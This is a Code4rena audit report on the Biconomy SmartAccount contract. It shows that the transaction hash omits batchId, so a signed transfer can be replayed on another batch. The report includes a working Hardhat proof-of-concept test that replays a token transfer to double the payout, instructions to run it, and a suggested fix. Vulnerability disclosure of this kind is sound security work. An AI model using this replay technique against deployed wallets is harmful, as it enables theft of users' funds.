Tranaction Replay Attack in SmartAccount.sol

[code423n4]

Lines of code

https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccount.sol#L212
https://github.com/code-423n4/2023-01-biconomy/blob/main/scw-contracts/contracts/smart-contract-wallet/SmartAccountNoAuth.sol#L205

Vulnerability details

Tranaction Replay Attack

Impact

execTransaction in SmartAccount.sol suffers from Transaction Replay Attack:

A transaction T to be executed on one batch X, will be accepted by another batch Y when batch Y reaches to same nonce value as transaction T's.

As a consequence:

1. any batch-leader transaction (whose nonce is 0) can be directly double spent, by re-submitting it to a new batch.
2. Malicous users can also find (or wait for) nonce collision between Transaction T (on batch X) and any batch Y, and double spent T on Y.

Detail

1. to support transaction on multple batches, public function execTransaction takes a paramter batchId.

   function execTransaction(
       Transaction memory _tx,
       uint256 batchId,
       FeeRefund memory refundInfo,
       bytes memory signatures
   ) public payable virtual override returns (bool success) {
       ...
   

2. this function is protected from replay attack, by increase nonce of the batch each time:

       {
           bytes memory txHashData =
               encodeTransactionData(
                   // Transaction info
                   _tx,
                   // Payment info
                   refundInfo,
                   // Signature info
                   nonces[batchId]
               );
           // Increase nonce and execute transaction.
           // Default space aka batchId is 0
           nonces[batchId]++; // NOTE: nonce[batchId] is increase here
           txHash = keccak256(txHashData);
           checkSignatures(txHash, txHashData, signatures);
       }
   

3. all nonces starts from zero, so the nonce A used in transaction T (one batch X) may be also used in another batch Y.
4. As a consequence, transaction T will be accepted on batch Y, when the nonce value of batch Y reaches A.

Proof of Concept

The PoC is based on ./test/smart-wallet/testGroup1.ts:

import { expect } from "chai";
import { ethers } from "hardhat";
import {
  SmartWallet,
  WalletFactory,
  EntryPoint,
  MockToken,
  MultiSend,
  StorageSetter,
  DefaultCallbackHandler,
} from "../../typechain";
import { SignerWithAddress } from "@nomiclabs/hardhat-ethers/signers";
import { encodeTransfer, encodeTransferFrom } from "./testUtils";
import {
  buildContractCall,
  MetaTransaction,
  SafeTransaction,
  Transaction,
  FeeRefund,
  executeTx,
  safeSignTypedData,
  safeSignMessage,
  buildSafeTransaction,
  executeContractCallWithSigners,
} from "../../src/utils/execution";
import { buildMultiSendSafeTx } from "../../src/utils/multisend";

describe("Base Wallet Functionality", function () {
  // TODO
  let baseImpl: SmartWallet;
  let walletFactory: WalletFactory;
  let entryPoint: EntryPoint;
  let token: MockToken;
  let multiSend: MultiSend;
  let storage: StorageSetter;
  let owner: string;
  let bob: string;
  let charlie: string;
  let userSCW: any;
  let handler: DefaultCallbackHandler;
  const VERSION = '1.0.2'
  const create2FactoryAddress = "0xce0042B868300000d44A59004Da54A005ffdcf9f";
  let accounts: any;

  /* const domainType = [
    { name: "name", type: "string" },
    { name: "version", type: "string" },
    { name: "verifyingContract", type: "address" },
    { name: "salt", type: "bytes32" },
  ]; */

  beforeEach(async () => {
    accounts = await ethers.getSigners();
    const addresses = await ethers.provider.listAccounts();
    const ethersSigner = ethers.provider.getSigner();

    owner = await accounts[0].getAddress();
    bob = await accounts[1].getAddress();
    charlie = await accounts[2].getAddress();
    // const owner = "0x7306aC7A32eb690232De81a9FFB44Bb346026faB";

    const BaseImplementation = await ethers.getContractFactory("SmartAccount");
    baseImpl = await BaseImplementation.deploy();
    await baseImpl.deployed();
    console.log("base wallet impl deployed at: ", baseImpl.address);

    const WalletFactory = await ethers.getContractFactory("SmartAccountFactory");
    walletFactory = await WalletFactory.deploy(baseImpl.address);
    await walletFactory.deployed();
    console.log("wallet factory deployed at: ", walletFactory.address);

    const EntryPoint = await ethers.getContractFactory("EntryPoint");
    entryPoint = await EntryPoint.deploy();
    await entryPoint.deployed();
    console.log("Entry point deployed at: ", entryPoint.address);

    const MockToken = await ethers.getContractFactory("MockToken");
    token = await MockToken.deploy();
    await token.deployed();
    console.log("Test token deployed at: ", token.address);

    const DefaultHandler = await ethers.getContractFactory(
      "DefaultCallbackHandler"
    );
    handler = await DefaultHandler.deploy();
    await handler.deployed();
    console.log("Default callback handler deployed at: ", handler.address);

    const Storage = await ethers.getContractFactory("StorageSetter");
    storage = await Storage.deploy();
    console.log("storage setter contract deployed at: ", storage.address);

    const MultiSend = await ethers.getContractFactory("MultiSend");
    multiSend = await MultiSend.deploy();
    console.log("Multisend helper contract deployed at: ", multiSend.address);

    console.log("mint tokens to owner address..");
    await token.mint(owner, ethers.utils.parseEther("1000000"));
  });

  // describe("Wallet initialization", function () {
  it("Should set the correct states on proxy", async function () {
    const expected = await walletFactory.getAddressForCounterfactualWallet(
      owner,
      0
    );
    console.log("deploying new wallet..expected address: ", expected);

    await expect(
      walletFactory.deployCounterFactualWallet(
        owner,
        entryPoint.address,
        handler.address,
        0
      )
    )
      .to.emit(walletFactory, "SmartAccountCreated")
      .withArgs(expected, baseImpl.address, owner, VERSION, 0);

    userSCW = await ethers.getContractAt(
      "contracts/smart-contract-wallet/SmartAccount.sol:SmartAccount",
      expected
    );

    const entryPointAddress = await userSCW.entryPoint();
    expect(entryPointAddress).to.equal(entryPoint.address);

    const walletOwner = await userSCW.owner();
    expect(walletOwner).to.equal(owner);

    const walletNonce1 = await userSCW.getNonce(0); // only 0 space is in the context now
    const walletNonce2 = await userSCW.getNonce(1);
    const chainId = await userSCW.getChainId();

    console.log("walletNonce1 ", walletNonce1);
    console.log("walletNonce2 ", walletNonce2);
    console.log("chainId ", chainId);

    await accounts[1].sendTransaction({
      from: bob,
      to: expected,
      value: ethers.utils.parseEther("5"),
    });
  });

  //it("can send transactions and charge wallet for fees in native tokens", async function () {
  it("replay attack", async function () {
    const balanceBefore = await ethers.provider.getBalance(bob);
    console.log(balanceBefore.toString());
    
    //NOTE: Not required in real attack, but let's just make it simple.
    expect(await userSCW.getNonce(0).to.equal(0));
    expect(await userSCW.getNonce(1).to.equal(0));

    await token
      .connect(accounts[0])
      .transfer(userSCW.address, ethers.utils.parseEther("100"));

    const safeTx: SafeTransaction = buildSafeTransaction({
      to: token.address,
      // value: ethers.utils.parseEther("1"),
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      nonce: await userSCW.getNonce(0), //This transaction is signed for `batch 0`
    });

    const gasEstimate1 = await ethers.provider.estimateGas({
      to: token.address,
      data: encodeTransfer(charlie, ethers.utils.parseEther("10").toString()),
      from: userSCW.address,
    });

    // console.log(gasEstimate1.toNumber());

    const chainId = await userSCW.getChainId();

    safeTx.refundReceiver = "0x0000000000000000000000000000000000000000";
    safeTx.gasToken = "0x0000000000000000000000000000000000000000";
    safeTx.gasPrice = 10000000000;
    safeTx.targetTxGas = gasEstimate1.toNumber();
    safeTx.baseGas = 21000 + 21000; // base plus eth transfer

    const { signer, data } = await safeSignTypedData(
      accounts[0],
      userSCW,
      safeTx,
      chainId
    );

    // console.log(safeTx);

    let signature = "0x";
    signature += data.slice(2);

    const transaction: Transaction = {
      to: safeTx.to,
      value: safeTx.value,
      data: safeTx.data,
      operation: safeTx.operation,
      targetTxGas: safeTx.targetTxGas,
    };
    const refundInfo: FeeRefund = {
      baseGas: safeTx.baseGas,
      gasPrice: safeTx.gasPrice,
      tokenGasPriceFactor: safeTx.tokenGasPriceFactor,
      gasToken: safeTx.gasToken,
      refundReceiver: safeTx.refundReceiver,
    };

    await expect(
      userSCW.connect(accounts[1]).execTransaction(
        transaction,
        0, // batchId
        refundInfo,
        signature,
        { gasPrice: safeTx.gasPrice }
      )
    ).to.emit(userSCW, "ExecutionSuccess"); // NOTE: this transaction is accepted on batch 0

    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("10") // charlie get 10 ethers
    );
    console.log("balance of charlie after the first transaction on batch 0: ", await token.balanceOf(charlie));
    

    await expect(
      userSCW.connect(accounts[1]).execTransaction(
        transaction,
        1, // batchId
        refundInfo,
        signature,
        { gasPrice: safeTx.gasPrice }
      )
    ).to.emit(userSCW, "ExecutionSuccess"); // NOTE: this transaction is also accepted on batch 1

    expect(await token.balanceOf(charlie)).to.equal(
      ethers.utils.parseEther("20") // and charlie get 20 ethers now...
    );
    console.log("balance of charlie after replay attack on batch 1: ", await token.balanceOf(charlie));

  });

});

To run the Poc:

cp ./replay-attack-poc.ts ../2023-01-biconomy/scw-contracts/test/smart-wallet/replay-attack-poc.ts
cd ../2023-01-biconomy/scw-contracts/
npx hardhat test ./test/smart-wallet/replay-attack-poc.ts

You should see logs like

balance of charlie after the first transaction on batch 0:  BigNumber { value: "10000000000000000000" }
balance of charlie after replay attack on batch 1:  BigNumber { value: "20000000000000000000" }

which means a transaction on batch 0 is replayed on batch 1, and charlie gets twice ethers than expected.

Recommended Mitigation Steps

A unique factor should be encoded to prevent collision between batches.
A quick fix could add bachtId as one of the parameters of encodeTransactionData.

                encodeTransactionData(
                    // Transaction info
                    _tx,
                    // Payment info
                    refundInfo,
                    // Signature info
                    nonces[batchId],
                    //FIX: add batchId as parameter
                    batchdId,
                );

[c4-judge]

gzeon-c4 marked the issue as duplicate of #485

[c4-sponsor]

livingrockrises marked the issue as sponsor confirmed

[c4-judge]

gzeon-c4 marked the issue as satisfactory